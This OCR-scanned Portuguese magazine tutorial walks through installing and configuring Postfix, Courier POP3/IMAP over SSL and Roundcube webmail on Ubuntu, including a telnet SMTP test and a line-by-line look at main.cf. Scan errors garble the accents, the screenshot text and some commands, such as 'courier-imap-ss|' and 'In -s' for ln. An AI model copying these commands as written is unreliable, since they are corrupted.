CD8 map support for Postfix (postfix-cdb)

3

LDAP map support for Postfix (postfix-idap)

14

MySQL map support for Postfix (postfix-mysql)

12

PCRE map support for Postfix (postfiv-pere)

I¥

PostgreSQL map support For Postfix (postfix-pgsal)
B Versatile e-mail processor (procmail)

B4 Cyrus SASL - administration programs for SASL users database (sasl2-bin)

& B Program for managing a Netfilter firewall (ufw)

Figura 3. Complementos do Postfix

Durante a instalagdo, tanto através do Terminal quanto através
da Central de Programas do Ubuntu, aparecerd uma janela para
a configuragdo do servidor de correio — Terminal (Figura 4) e
Central (Figura 5) — a qual solicita o Tipo geral da configuragio de
mail. Nesse momento devem ser analisadas as necessidades lo-
cais, pois para resolver determinadas situagdes, pode ser melhor
uma determinada configuragdo que, quando utilizada em outra
ocasido pode ndo ser adequada. Dentre as opgdes, tem-se: Sem
Configuragdo, Site Internet, Internet com Smarthost, Sistema
Satélite e Apenas Local.

Sem Configuracao

Nada seré solicitado para configuragao do servidor de correio nesse
momento, porém, serdo criados os arquivos de configuracdo padrao
que foram escritos pelos desenvolvedores do Postfix. Esses arquivos de
configuragao, posteriormente, poderao ser analisados e configurados
conforme a necessidade. Eles estdo localizados em /etc/postfix;



thlago@mirnavbx: ~
Configuracao de Pacotes

1 Postfix Configuration |
Por favor escolha o tipo de confiquracao do servidor de mail que melhor
se adequa as suas necessidades.

Sem confiquragao:
Deve ser escolhido para deixar a configuragdo actual inalterada.
S5ite Internet:
0 mail é enviado e recebido directamente utilizande SMTP.
Internet utilizando smarthost:
0 mail é recebido directamente utilizando SMTP ou correndo um
utilitério
como o fetchmail. 0 mail que sal & enviade utilizando um smarthost.
Sistema satelite
Todo o mail & enviado para outra maquina, chamada "smarthost”
Apenas entrega local:
0 dnico mail entregue & o mail para os utilizadores locais. Nio existe
rede.

Tipo geral de configuragdo de mail:
sem configuracao
Internet com smarthost

Sistema satélite
Apenas local

<0k=> <Cancelar>

Figura 4. Escolha da configuracao do servidor na instalacdo via Terminal

DebconF em mirnavbx

guration

Tipo geral de configuragdo de mail:

Site Internet

s | |Ajuda

| Avangar |

A\,

Figura 5. Escolha da configuragdo do servidor na instalago via Central de Programas do Ubuntu

Site Internet

Esta é a opgdo padrado. Com essa configuragdo o servidor enviara
ereceberd e-mails diretamente através do servidor Postfix. Ela é re-
comendada para quase todos os casos de utilizagdo do Postfix.

Selecionada a opgdo padréo (Site Internet), clica-se em Avangar
(na Central de Programas do Ubuntu) ou Ok (no Terminal). Em
seguida, aparecera a tela solicitando o nome que serd dado ao
servidor de e-mail — Terminal (Figura 6) e Central de Programas
(Figura 7). Recomenda-se, como para qualquer servidor, que ndo
sejam utilizados nomes contendo caracteres especiais ou espagos.
Ap6s o preenchimento, clica-se em préximo e serd iniciada a
instalagdo do Postfix.

Ao término da instalagdo através do Terminal, serd exibida uma
tela semelhante a Figura 8. Logo em seguida o servidor Postfix é
inicializado e jd estard em funcionamento.

0 e thiago@mirnavbx: ~

Configuragdc de Pacotes

1 Postfix Configuration |
0 "nome de mail" & o nome do dominio utilizado para "qualificar”™ _TODOS
os enderegos de mall sem um nome de dominio. Isto inclul mail de e para
<root=; por favor ndo faga a sua maquina enviar mail de root@exemplo.org
a menos que rootgexemplo.org lhe tenha dito para o fazer.

Este nome sera tambeéem utilizado por outros programas. Deve ser ¢ uUnice,
nome de dominio completo (FQDN).

Por isso, se um enderego de mail numa maguina lecal for foogexemple.org,
o valor correcto para esta opgdo deve ser exemplo.org.

Nome de mail do sistema:
m <Cancelars

Figura 6. Tela para preenchimento do nome do servidor na instalagao via Terminal

7 Debconf em mirnavbx

uration
Nome de mail do sistema:
|mirnavbx Ajuda
Avangar
\

Figura 7. Tela para preenchimento do nome do servidor na instalacdo via Central de
Programas do Ubuntu

thiago@mirnavbx: ~

setting alias database
mailname is n fully quali
s: mirna

/mailname.

., creating it.
5, but does not have a root alias.

If you need to make

f (and others) as needed. To view Post configuration

tconf(1).

After modifying main.cf, be sure to run 'fetc/init.dfpostfix rel

Running newaliases
pping Postfix Mall Transport A Fix
tfix Mail Transport A fix
para libec-bi
ing no

g place

Figura 8. Tela do Terminal apresentando o término da instalagdo do Postfix
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No caso da instalagdo através da Central de Programas, ao
término serd apresentada uma tela semelhante a Figura 9, na
qual, além dos programas que foram instalados para auxiliar na
administragdo do Postfix, também é exibido o botdo Remover, que
pode ser selecionado para desinstalar o servigo de e-mail.

] -] Central de programas do Ubuntu

T e

N High-performance mail transport agent

&2 Instalado em 07-09-2012 Remover

Estes programas 530 executados a partir de um terminal:

maily, rowalisses, postalias, postcat, postconf, postdrop, postfix, postfix-add-filter, postfix-add-palicy,
postkick, pastlock, postlog, postmap, postmulti, postquewe, postsuper, gegp-sink, qmop-source, gshape, rmail,
reail, sendmail, smtp-sink, smtp-source

Postfix is Wietse Venema's mail transport agent that started life as
an alternative to the widely-used Sendmail program. Postfix
attempts ta be Fast, easy to administer, and secure, while at the
=zame time being sendmall compatible encugh to nok upset existing
users, Thus, the autside has a sendmall-Ish flavar, buk the Inside is
completely different.

Pégina do desenvolvedor

—
Figura 9. Tela apresentando os diversos programas instalados, no detalhe, juntamente com a
instalacdo do Postfix e 0 botdo de remover

Internet com Smarthost

Nesta opcdo, os e-mails poderdo ser enviados e recebidos através
do préprio servidor que estd sendo instalado, ou pode-se utilizar
outro software/servidor para realizar esse servigo. Muitas vezes
algumas aplicagbes, por exemplo, alguns sistemas internos de
empresas ou mesmo ambientes de ensino a distdncia, acabam
por gerenciar todo o envio e recebimento das mensagens sem a
necessidade do gerenciamento através do Postfix.

Sistema Satélite

A grande maioria dos servidores de e-mail presentes da Internet,
sempre que recebem um e-mail, verificam sua origem pesquisan-
do em servidores de DNS o dominio que consta no remetente do
e-mail. Se nessa verificagdo o servidor que enviou o e-mail nido
estiver registrado em nenhum servidor de DNS, esse e-mail é
automaticamente inserido na caixa de spam do usudrio ou, em
alguns casos, é excluido.

O Sistema Satélite é utilizado quando se estd em uma estrutura
de rede diferenciada, pois em algumas institui¢des a estrutura de
servidores é administrada por empresas/pessoas terceirizadas e
que nao estdo o tempo todo disponiveis para alterar configuragdes
dos servidores.

Em alguns projetos, faz-se necessdrio um servidor de e-mail
com configuragdes especificas, diferentes do servidor principal,
e este novo servidor deve estar registrado no servidor de DNS
para que néo tenha problemas na entrega dos e-mails, conforme
explicado anteriormente. Caso ndo seja possivel a inclusdo do
novo servidor de e-mail no DNS, uma alternativa é fazer com
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que todos os e-mails deste servidor sejam enviados pelo servidor
principal, fazendo com que os servidores destinatarios aceitem
os e-mails (Figura 10).

Firewall

(B) &

Servidor de E-mail
de projeto

’f%

Servidor de DNS - {A]

Servidor E-Mail Principal
\_ do Daminio

Figura 10. Esquema grafico do Sistema Satélite

No exemplo da Figura 10, todos os e-mails enviados pelo servidor
B serdo entregues para o servidor A (Servidor de E-mail Principal
registrado no DNS), que enviard esses e-mails como se fosse dele
proéprio. No caso, o Servidor de E-mail de Projeto (B) nédo estd
registrado no servidor de DNS, e com isso praticamente todos os
servidores de correio (Gmail, Yahoo, Hotmail, etc.) ou recusardo
os e-mails enviados ou colocardo os e-mails como Sparm.

Ao receber um e-mail, o servidor A verificard que é para o ser-
vidor B e o encaminhara para o mesmo. Para os usudrios, todo
esse processo de envio e reenvio é transparente.

A configuracado de Sistema Satélite também é utilizada com es-
truturas menores. Por exemplo, um servidor de correio (servidor B)
nao registrado em um servidor de DNS e o servidor de entrega
sendo o servidor do Gmail (servidor A).

Apenas Local
Alguns sistemas dependem da instalagdo de um servidor de
e-mail para que funcionem corretamente, porém, os e-mails sdo
enviados apenas como mensagens entre os usudrios do sistema.
Uma vez que os e-mails ndo sairdo para outros servidores na
Internet, por motivos de seguranga, a utilizacao da configuragao
Apenas Local é a mais indicada, pois entregard os e-mails apenas
aos usudrios locais do servidor de e-mails, como se ndo existisse
uma rede para comunicagdo externa com outros servidores.
Independente de qual método de instalagdo for utilizado, alguns
daemons (processos em background) serdo iniciados. Alguns dos
processos que podem aparecer apds a instalagdo e inicializagdo
do Postfix sao:
* master: responsdavel por gerenciar os outros daemons que farao
o envio e recebimento das mensagens na rede e localmente;
* smtpd: responsavel por tratar as requisicdes SMTP, além de
aplicar algumas filtragens (remetentes, destinatdrios, etc.);
* qmrg: responsdvel por gerenciar a fila de mensagens que che-
gam e que devem ser entregues.



Teste do servidor de correio instalado

Ap6s a instalagdo do Postfix, para testar se realmente estd tudo
funcionando, utiliza-se o programa telnet. Este é um protocolo
cliente-servidor para comunicagdo entre computadores que ja
vem instalado no Ubuntu.

Deste modo, no terminal, digite e execute a sequéncia da
Listagem 1.

Listagem 1. Sequéncia de teste do postfix

telnet localhost 25
MAIL FROM: teste
RCPT TO: thiago
DATA

Teste de e-mail.

QuIT

Ao término, a tela do terminal serd semelhante a Figura 11. Note
que a cada comando o servidor de correio responde algo. Ainda
na Figura 11, destacado pela seta estd o comando “MAIL FROM:
teste”, que serd enviado ao servidor dando-se Enter. Na linha sub-
sequente aparece a resposta do servidor, contendo alguns ntimeros
ea palavra Ok. Essa resposta significa que o comando foi recebido
e interpretado pelo servidor corretamente. No destaque em caixa
é exibido o nimero de identifica¢do do e-mail, em hexadecimal. A
cada e-mail que o servidor de correio recebe, estes sdo inseridos
em uma fila de mensagens a serem entregues.

thiago@mirnavbx: ~
% telnet localhost 25

Escape charac

220 mirnavl

MAIL FROI teste
258 2.1.9 ok
RCPT TO: thiago

Ubuntu)

DA
354 End data with <
Teste de e-mails.
250 2.8.0 Ok: queued as BDES5418258
quit
2 2.0.0 Bye

by forelgn host.

Figura 11. Tela do terminal exibindo o teste de envio de e-mail. Em destaque (na caixa), 0
nimero atribuido @ mensagem ao ser inserida na fila do servidor de correio

As linhas digitadas no terminal referem-se aos itens minimos
para o envio de uma mensagem de e-mail.

A descri¢do dos comandos executados é:
o telnet localhost 25: faz a comunicagdo entre o usudrio e o servi-
dor de correio. No caso, localhost faz referéncia a maquinalocal, e
25 é a porta padrao de comunicacdo com servidores de correio;
e MAIL FROM: teste: Nesta linha serd indicado o remetente do
e-mail. No exemplo, teste seria um usudrio do sistema de correio
que supostamente estaria enviando o e-mail. No entanto, como
ndo é verificada a existéncia do usudrio no servidor de origem,
serd aceita qualquer coisa escrita nesse campo;

¢ RCPT TO: thiago: Aqui indica-se o destinatdrio do e-mail. O
usudrio thiago é um usudrio existente e valido no sistema, pois
se ndo o fosse, o servidor de correio recusaria o e-mail por ndo
conhecer o destinatério;

¢ DATA: Esse comando indica ao servidor de correio que a partir
dessa linha tudo que estiver escrito deve ser colocado no corpo
do e-mail;

o Teste de e-mail: Mensagem do corpo do e-mail;

o.: Para finalizar a mensagem, é obrigatéria a inser¢do de uma
linha com apenas ponto ();

e QUIT: Comando para sair do felnet e voltar ao prompt de comandos.

No exemplo realizado na Figura 11, o envio do e-mail aconte-
ceu corretamente, pois o servidor respondeu com o ndmero de
identificagao do e-mail inserido na fila de entrega. Para confirmar
a entrega do e-mail do exemplo, analisa-se a caixa de correio do
usudrio que o deveria ter recebido. No exemplo supracitado, o
usudrio do servidor de correio utilizado foi thiago, e através do
terminal, com o comando cat, pode-se visualizar o e-mail enviado
(Figura 12). Para tanto, digite no terminal o comando:

cat /var/mail/thiago

thlago@mirnavbx: ~

thiago@mirnavh

From teste@

Return-Path

L8 iginal-To

Delivered-

received: from localhost
by mirnavbx (Pestfi

Jvar fmail/thiago
4 14:50:20 2081:

X-
thiago@mirnavbx
ocalhost [127.8.8.1])
with SMTP id 2
4 Aug 28 149:58 -8388 (BRT)

]
: testepmirnavbx

de e-mails.

thiago@mirnavbx:-$§ I

Figura 12. Tela do terminal exibindo o contetido do arquivo de correio do usudrio thiago

Note que o nimero de identificagdo do envio da mensagem
(Figura 11) é o mesmo do recebimento (Figura 12). Como néo foi
identificado o dominio do e-mail (0 que vem apéds 0 @ no ende-
reco), o servidor assumiu o destinatdrio como sendo do préprio
dominio (mirnavbx).

Interagindo com os e-mails

Atualmente, os usudrios comuns ndo utilizam programas de
terminal como o mutt ou mail para a visualizagdo de e-mails, pois
0s usudrios interagem melhor e mais facilmente com interfaces
graficas e principalmente através do navegador.

Nesse contexto, a utilizagdo de programas como o Cyrus ou Cou-
rier é praticamente obrigatéria para a utilizagdo de um servidor
de correio, pois se nenhum deles estiver instalado, os usudrios s6
conseguirdo verificar suas caixas de correio se estiverem localmente
no servidor de correio. Programas de webmail ou clientes de e-mail
dependem desses programas para se comunicarem com o servidor
de correio e receber e enviar os e-mails dos usudrios do servidor.
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O Courier é uma suite completa para auxiliar a comunicagdo
entre o usudrio e o servidor de e-mail e, por ser tdo completo,
contendo um servidor de e-mails e até webmail, é muito utiliza-
do, sendo muitas vezes instalado por completo e utilizado como
servidor de correio. No entanto, na grande maioria dos casos,
que podem ser encontrados na Internet, utiliza-se juntamente a
um servidor de e-mail as ferramentas do Courier para auxiliar
na entrega dos e-mails aos usudrios de forma mais agradavel,
como no caso deste artigo. A ndo “popularizacdo” do Courier
como servidor MTA padrio se deve ao fato das distribui¢des Li-
nux terem adotado como padrao o Postfix e o Exim, porém nada
impede que o administrador baixe, através do site do Courier, e
configure manualmente a solugéo.

O Courier (Courier mail transfer agent — MTA) é um servidor de
correio e groupware baseado em protocolos abertos. Em sua lista de
funcionalidades estdo o ESMTP, IMAP, POP3, webmail e servico
de lista de e-mails, sendo que se pode instalar cada componente
individualmente.

O Postfix, por sua vez, ndo prové a comunicacdo através dos
protocolos POP3 e IMAP e, com isso, serdo utilizados os dois
protocolos que sao fornecidos pelo Courier, pois aplicativos como
o0 Outlook, Thunderbird ou mesmo um webmail, necessitam que
o servidor compreenda os dois protocolos para que o usudrio
consiga acessar/baixar os seus e-mails.

O protocolo POP3 é utilizado para acessar remotamente uma
caixa de correio, permitindo que as mensagens do servidor de
correio sejam transferidas sequencialmente para o computador
local.

O protocolo IMAP também é utilizado para acessar remota-
mente uma caixa de correio, porém, ndo transfere as mensagens
do servidor de correio para o computador local. Ele permite ao
usudrio gerenciar sua conta de qualquer computador através de
um webmail ou um cliente de correio.

A utilizagdo do SSL (Secure Sockets Layer — Protocolo de Camada
de Sockets Segura) é recomendada, uma vez que a comunicacao
entre o computador do usudrio e o servidor pode ser intercepta-
da. Com a utilizacdo dessa camada, a comunicagdo passa a ser
criptografada de uma ponta a outra.

A instalagdo do Courier pode ser feita, como a do Postfix, através
do Terminal ou da Central de Programas do Ubuntu, e para que
tudo funcione corretamente, serd necessdria a inser¢ao de uma
linha no arquivo de configuragdo do Postfix (/etc/postfix/main.cf),
que posteriormente serd detalhadamente explicada. Sendo assim,
execute o seguinte comando no terminal:

sudo sh -c “echo 'home_mailbox = Maildir/' >> /etc/postfix/main.cf”

Para instalagdo no terminal, digite:

sudo apt-get install courier-pop-ssl courier-imap-ss|

Ao pressionar Enter, o Ubuntu listard os pacotes que serdo ins-
talados e questionard se realmente deseja instald-los (Figura 13).
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Digite S ou Y (a depender da versdo do Ubuntu instalada —
Portugués ou Inglés).

Logo em seguida, os pacotes necessdrios para que o Courier, POP3
e IMAP funcionem corretamente, serdo baixados e instalados.

Para realizar a instalacdo do Courier através da Central de Pro-
gramas do Ubuntu, pesquise por courier ssl no campo de pesquisa
—Figura 14 (A). Como resultado, aparecerao diversos aplicativos
baseados no Courier. Selecione o aplicativo Courier Mail Server —
POP3 over SSL e clique em Instalar — Figura 14 (B).

thiago@mirnavbx: ~

sudo apt-get install courier-po courier-imap-ssl

authdaemon courier-au
i ier-pop courier

baixar 1.981 k

Central de programas do Ubuntu

(A) =

Tados os aplicatives Por relevincia -

Courler mail server - ESMTP over 551
S courier-mta-ssd

urier mail server- POPY over S51

Mals informagoes
Bl Courier mail server - IMAF over S5L
B courier-imap-ssl
Bl Courler mail server - $5L/TLS Support I:B]

B courier-sdl

£/ Fake pop3 daemon. dellvers same messages to all users
. fakenop

B  Courier mail server - additional documentation
courier-doc

Bl Courier mail server - POP3 server
B courier-pop

Figura 14. Central de Programas do Ubuntu. (A) campo de pesquisa e (B) boto para instalar
0 aplicativo

O Courier utiliza diversos arquivos de configuragdo que ficam den-
tro do diretdrio /etc/courier apds a instalagdo. Alguns desses arquivos
podem ser substituidos por um subdiretério que o contetido pode ser
concatenado e tratado como um tnico arquivo de configuragao.

Durante a instalagdo aparecerd uma janela de configuragao
do Courier-Base — Terminal (Figural5) e Central de Programas
(Figura 16), questionando sobre qual método utilizar para o arma-
zenamento dos arquivos de configuragao do Courier. No terminal,
escolhe-se Nifo, pois toda a configuragéo, tanto do Courier quanto
do Postfix, serd feita localmente. A opcao Sim pode ser utilizada
quando o Courier for o servidor de correio e se quer administra-lo
através da web. Na Central de Programas, mantenha desmarcada
a caixa de selecdo (igual a Figura 16) e clique em Avangar.



{ Configurando courier-base |

0 courier utiliza varios ficheires de configuragao que estac em
Jetefcourier. Alguns desses ficheiros de configuragao podem ser
substituidos por um subdirectério cujo conteddo & concatenado e tratado
como um Unico ficheiro de configuracao.

A administragdo via web disponibilizada pelo pacote courier-webmin
baseia-se em directérios de configuracac em vez de ficheiros de
configuragan. Se concordar, serdo criados quaisquer directérios
necessarios para a ferramenta de administragdo via web a menos que ja
exista no local um ficheiro simples.

Criar os directérios para administracao via web?

<Sim>

Figura 15. Configuracao do Courier-Base durante a instalagdo através do terminal

Debconf em mirnavbx

. -
Configurando courier-base
| Criar us directdrios para administragdo via web? |Ajuda
| Avangar |
\

Figura 16. Configuracdo do Courier-Base durante a instalagdo através da Central de Programas

Em seguida, aparecerd a tela da Figura 17 (Terminal) ou Figura 18
(Central de Programas) informando que serd necessdria a criagédo
de um certificado SSL (Secure Sockets Layer — Camada de Sockets
Segura). Essa camada de seguranga é a mesma utilizada nos
Internet Banking para que os dados transmitidos entre o cliente e
o servidor sejam criptografados. Na criagao do certificado X.509
sdo inseridas informagdes do servidor de correio juntamente com
uma chave criptografica que serd enviada ao cliente de e-mail
no momento do pedido de conex@o ao servidor. Nesse momento
inicia-se o estabelecimento da conexdo criptografada entre o
usudrio e o servidor de correio.

thlage@mirnavbx: ~

je Pacotes

1 Configurando courier-ssl |
E necessério um certificado sSsL

POP e IMAP sobre SSL necessitam de um certificade X.509 valide e
assinado. Durante a instalacao de courier-pop-ssl ou do
courier-imap-ssl, =e necessirio, ira ser gerado um certificado X.589
auto-assinado.

Para a utilizagio em produgio, o certificado X.589 tem de ser assinado
por uma autoridade de certificados reconhecida, de modo a que os
clientes de mail aceitem este certificado. 0 local pré-definido para
este certificado & fetc/courier/pop3d.pem ou fetc/courier/imapd.pem.

Figura 17. Tela informando a configuracéo do courier-SSL no Terminal

Ao término da instalagdo, o terminal liberard o prompt de comando,
exibindo uma tela semelhante a Figura 19. No caso da instalagéo
através da Central de Programas, o término da instalagdo resultara
em uma tela semelhante ao término da instalagdo do Postfix, com
a opgao de desinstalar.

Debconf em mirnavbx

Configurando courier-ssl

E necessario um certificado SSL

POP e IMAP sobre 55L necessitam de um certificado X.509 valido e assinado. Durante
a instalagdo de courier-pop-ssl ou do courier-imap-ssl, se necessario, ird ser gerado
um certificado X.509 aute-assinado.

Para a utilizacao em producao, o certificado X.509 tem de ser assinado por uma
autoridade de certificados reconhecida, de modo a que os clientes de mail aceitem
este certificado. O local pré-definido para este certificado é fetc/courier/pop3d.pem
‘ou Jete/courierfimapd.pem.

| Avancar |
—
Figura 18. Tela informando a configuracdo do courier-SSL na Central de Programas

Todos os aplicatives Por relewincia -

i Courier mail server - ESMTP over 551
courier-mtarod

[
Hed Courier mail server - POP3 over S5L
) courier-pop-s

Courier mail server - IMAP over 5L
courier-imap-4d

Mais informagdes

#d  Courier mail server - S5L/TLS Support t
w counier-asl

i Fake pop3daemon. delivers same messages to all users
L J

i Courler mall server - additianal documentation
S courier-doc

il  Courier mail server - POP3 server
e courier-pop

Figura 19. Tela do terminal exibindo o término da instalacdo dos pacotes Courier

A instalagdo através do terminal jd terminou, porém, para a
Central de Programas, ainda falta instalar o aplicativo Courier
Mail Server — IMAP over SSL. Deste modo, selecione o aplicativo
Courier Mail Server — IMAP over SSL, presente na tela da Central
de Programas, onde foi instalado o aplicativo Courier Mail Server
— POP3 over SSL, e clique em Instalar (ver Figura 20).

Ap6s a instalagdo dos pacotes e criagdo do certificado e chaves
de criptografia, os servidores Courier POP3, POP3-SSL, IMAP e
IMAP-SSL sao iniciados e estdo prontos para receberem solicita-
¢Oes através de um cliente de e-mails, tanto no modo POP3 ou
IMAP quanto utilizando SSL.

Cliente via WEB — Webmail

A utilizagdo de e-mails através de um webmail facilita a vida
dos usudrios de servidores de correio por ndo necessitar de confi-
guragdes de contas de e-mails em clientes e esta¢des de trabalhos,
sendo necessdrio apenas um navegador e Internet.
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0c thiago@mirnavbx: ~

5SHA1 Fingerprint
* Starting Cour
Configurand
ting Courier IMAP
Configurando courier-imap-ssl (4.9.1-1ubuntud) .
na escreve atraveés de uma ligagdo simbdlica quebrada: rflibfcourier/
simbdlica quebrada "fusr/libfcourierfimapd.p

ourier/imapd.pe

rating DH parameters, 512 bit leng safe prime, generator 2
This is going to take a long time
- b el T

New York/O=Courier Mail

matically-generated

SHA1 Fingerprint
* Starting Cour
ando gatilhes
q de
thiagogmirnav

Figura 20. Central de Programas do Ubuntu. Em destaque, o botdo para instalar o aplicativo

Dentre os diversos softwares para a utilizacdo de webmails, des-
tacam-se o SquirrelMail [7], o Open Webmail [8] e 0 Roundcube [9].
O SquirrelMail estava presente em quase todos os servidores
com webmail pela facilidade de uso, pois contém estritamente o
necessdrio. No entanto, com o passar dos anos, os usudrios ficaram
mais exigentes com as interfaces e também com a seguranga de
suas informagdes e correspondéncias.

O Roundcube é um cliente de e-mail escrito na linguagem PHP e
que utiliza AJAX, CSS2 e XHTML para conseguir agradar os usué-
rios. Mesmo estando na versdo 0.8.1, o software continua em pleno
desenvolvimento, sendo utilizado por grandes institui¢des e até
mesmo por universidades com grande quantidade de usudrios, como
a Universidade de Harvard [10], além de disponibilizar diversos plug-
ins, como calend4rio, emoticons e reCAPTCHA (caixa de didlogo em
que aparecem palavras a serem escritas pelo usudrio, como recurso de
seguranga). Oinicio do desenvolvimento ocorreu em agosto de 2005,
porém, a primeira versdo estavel foi disponibilizada apenas em 2008.
Por ser um software livre, seu desenvolvimento é baseado na licenca
GPL (GNU General Public License - Licenga Puablica Geral) [11].

Para que o Roundcube seja instalado e funcione corretamente,
é necessdrio que antes da instalacdo sejam fornecidos alguns sof-
twares, a saber: Apache, MySQL e PHP. Apesar do Ubuntu instalar
automaticamente todas as dependéncias necessdrias para que o
Roundcube funcione, sugere-se que os trés softwares citados jd
estejam instalados e funcionando corretamente.

A instalacdo do Roundcube através do Terminal segue o mesmo
procedimento jd utilizado na instalacdo do Postfix e do Courier.
Com o Terminal aberto, digite:

sudo apt-get install roundcube

Ao pressionar Enter, o Ubuntu listard os pacotes que serdo ins-
talados e questionard se realmente deseja instald-los (Figura 21).
Novamente, digite S ou Y (a depender da versdo do Ubuntu ins-
talada — Portugués ou Inglés).
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Logo em seguida, os pacotes necessdrios para que o Roundcube
funcione corretamente serdo baixados e instalados. Neste proces-
50, aparecerd uma janela questionando sobre a configuracdo da
base de dados (Figura 22).

Figura 21. Tela do Terminal apresentando a instalacao do Roundcube

thiago@mirnavbx: ~

Conflguracdo de Pacotes

1 Configurando roundcube-core |

The roundcube package must have a database installed and configured
before it can be used. This can be optionally handled with
dbconfig-common.

If you are an advanced database administrator and know that you want to
perform this configuration manually, or if your database has already
been installed and configured, you should refuse this option. Details
on what needs to be done should most likely be provided in

Jusr fshare/doc/roundcube.

otherwlse, you should probably choose this option.

Configure database for roundcube with dbconfig-common?

<Nao>

Figura 22. Tela do Terminal sobre a configuracdo do roundcube-core

Nesta tela, escolha Sim para que o instalador jd configure as
opcdes minimas necessdrias. Feito isso, na tela seguinte é ques-
tionada a Base de Dados a ser utilizada: mysql (MySQL) ou pgsql
(PostgreSQL). Como ja foi instalado o Banco de Dados MySQL,
deve-se selecionar esta opgédo (Figura 23).

Ap6s selecionar o Banco de Dados, serd solicitada a senha do
administrador do MySQL. Ao informar a senha e escolher Ok, a
préxima tela solicitard uma senha a ser utilizada para registrar
0 Roundcube no MySQL. Neste momento pode-se optar por
deixar a senha em branco. Deste modo o sistema gerard uma
senha aleatdria e jd a colocard nas configuragdes do Roundcube
e também do MySQL.

Ao término da instalagdo, o terminal liberard o prompt de
comando. Durante a instalagdo foram criadas as tabelas e usu-
drios no MySQL e, também, foram inseridas as configuragdes
necessdrias ao Apache e ao PHP, além da instalagdo do préprio
Roundcube.



Ap6s a liberacao do prompt de comandos, execute:

sudo In -s /usr/share/roundcube /var/www/roundcube

Este comando criard um link para que se possa acessar o
Roundcube através do navegador pelo enderego: http://127.0.0.1/
roundcube.

Ao acessar este endereco, aparecerd no navegador uma tela de
login. Ao inserir o usudrio criado no Ubuntu com a respectiva
senha, e clicar em Login, os dados serdo validados pelo servidor
de correio e aparecerd uma tela semelhante a Figura 24.

lago@mirnavbx: ~

a0 de Pacote

Configurando roundcube-core |
The roundcube package can be configured to use one of several database
types. Below, you will be presented with the available choices.

Database type to be used by roundcube:

pgsql

<Cancelars

Figura 23. Escolha do Banco de Dados para utilizacao do roundcube

8- i

B O -
\

Figura 24. Tela do Roundcube acessando a caixa de correio

No menu do Roundcube, ao se escolher a op¢do Escrever Nova
Mensagem, a tela que aparecerd serd semelhante a Figura 25, onde
se pode escolher entre um texto puro ou em HTML. Todo o es-
quema de formatacao de texto estd disponivel, além da inser¢do
de anexos e a verificagdo ortogréfica do texto digitado.

Caso queira, o usudrio podera alterar as configura¢ées em
Settings e escolher, por exemplo, o idioma Portuguese (Brasil),
modificando automaticamente toda a interface do Roundcube

para o novo idioma (Figura 26). Dentre as vdrias configuragdes
permitidas, o usudrio pode personalizar o formato de exibigdo
dos e-mails dentro do ambiente ou até criar pastas para organizar
0s e-mails.

thaago <UgOBIZTON > 3|

o -

Tis e st | WML P | Haral - Pt e

i sernagen eas o | (e Enviadus

BN FEEEEESSET NG A Todetme « Tars = ACUIONT nea
dIEgnsH—-H

—
Figura 25. Tela de envio de e-mails do roundcube

chars - Madlla Firefox

Datrices passoaks Instucn do usrath
i Opgies
i i
. Portuguese (Partuguls]
Axks
[ er— ar30
Furmac e s 20120724 2
P - -
e unjeral | Wity
Opges do browser
et AL e 2T Tk WS
-

Figura 26. Tela de configuracdo da interface do usudrio do Roundcube

Configuracao

Ap6s as instalagoes dos softwares necessdrios para o funciona-
mento do Postfix com POP3 e IMAP seguros e utilizando-se do
webmail, deve-se configurar corretamente o servidor. A configu-
ragdo padrdo funcionard bem, porém quando se compreende os
parametros que podem ser ajustados no servidor, este funcionara
muito melhor e dentro das expectativas do usudrio.

A configuragdo do Postfix pode ser feita através da edig¢do do ar-
quivo de configuragdo ou através de interfaces graficas. A segunda
opgdo é muito utilizada, principalmente por usudrios inexperien-
tes ou na primeira vez em que se estd configurando o servidor.
Apés instalar e configurar algumas vezes o Postfix nota-se que
pouca coisa muda de uma instalagdo para outra, por exemplo:
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o nome do servidor e o dominio. Com isso, administradores mais
experientes normalmente apenas substituem o arquivo de confi-
guragdo instalado originalmente por um arquivo de configuracao
que ja foi utilizado e configurado em outra instalagao.

Os arquivos de configurag¢do do Postfix encontram-se no
diretorio /etc/postfix/, sendo eles:
e master.cf: Neste arquivo o Postfix gerencia todos os processos neces-
sarios para sua execugao, indicando o tipo do processo e a quantidade
maxima de processos que cada servico podera executar;
e main.cf: Este é o arquivo dos pardmetros de configuragdo do
servidor de correio. Nele existem mais de 280 pardmetros diferen-
tes para serem configurados dependendo das necessidades. Tais
opgdes podem ser consultadas no arquivo /usr/share/postfix/main.
cf.dist. O main.cf instalado pelo Ubuntu contém apenas 20 para-
metros, sendo que dois deles estao desabilitados por padrao.

A Listagem 2 apresenta o arquivo /etc/postfix/main.cf, sendo

que as linhas foram numeradas para facilitar a explicagdo
durante o texto.

Listagem 2. Arquivo de configuragdo MAIN.CF do Postfix.

01. #myorigin = /etc/mailname

02. smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu)

03. biff=no

04. append_dot_mydomain = no

05. #delay_warning_time = 4h

06. readme_directory = no

07. smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem

08. smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key

09. smtpd_use_tls=yes

10.  smtpd_tls_session_cache_database=btree:${data_directory}/smtpd_scache
11.  smtp_tls_session_cache_database=btree:${data_directory}/smtp_scache
12.  myhostname = mirnavbx

13. alias_maps = hash:/etc/aliases

14. alias_database = hash:/etc/aliases

15. mydestination = mirnavbx, localhost.localdomain, localhost

16. relayhost =

17.  mynetworks = 127.0.0.0/8 [:ffff:127.0.0.0]/104 [::11/128

18.  mailbox_size_limit=0

19. recipient_delimiter = +

20. inet_interfaces = all

A linha 1 da Listagem 2 é utilizada apenas pela distribuigdo
Debian, servindo para designar o nome do dominio. Note que o
simbolo # faz com que a linha seja desabilitada. Caso seja neces-
sario, pode-se habilitar a linha retirando o #, e no lugar de /etc/
mailname, insere-se o dominio desejado (0 que vem apds o @ no
endereco de e-mail).

A linha 2 refere-se ao que é apresentado quando o usudrio se
conecta no servidor de correio. Um exemplo da execugdo dessa
linha pode ser observado na Figura 11, onde é exibida a linha 220
mirnavbx ESMTP Postfix (Ubuntu). Caso seja necessario, pode-se
trocar a mensagem de boas-vindas do servidor.

Nalinha 3, caso esteja utilizando o servigo local biff, troque para
yes. Esse servico notifica o usudrio do Unix da chegada de uma
nova mensagem no servidor de correio.
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A linha 4 evita que o servidor auxilie o usudrio na colocagdo
do dominio ap6s o que foi digitado no enderego. Esta opc¢ao, por
padrédo, é setada para no (ndo), pois se estivesse com yes, para
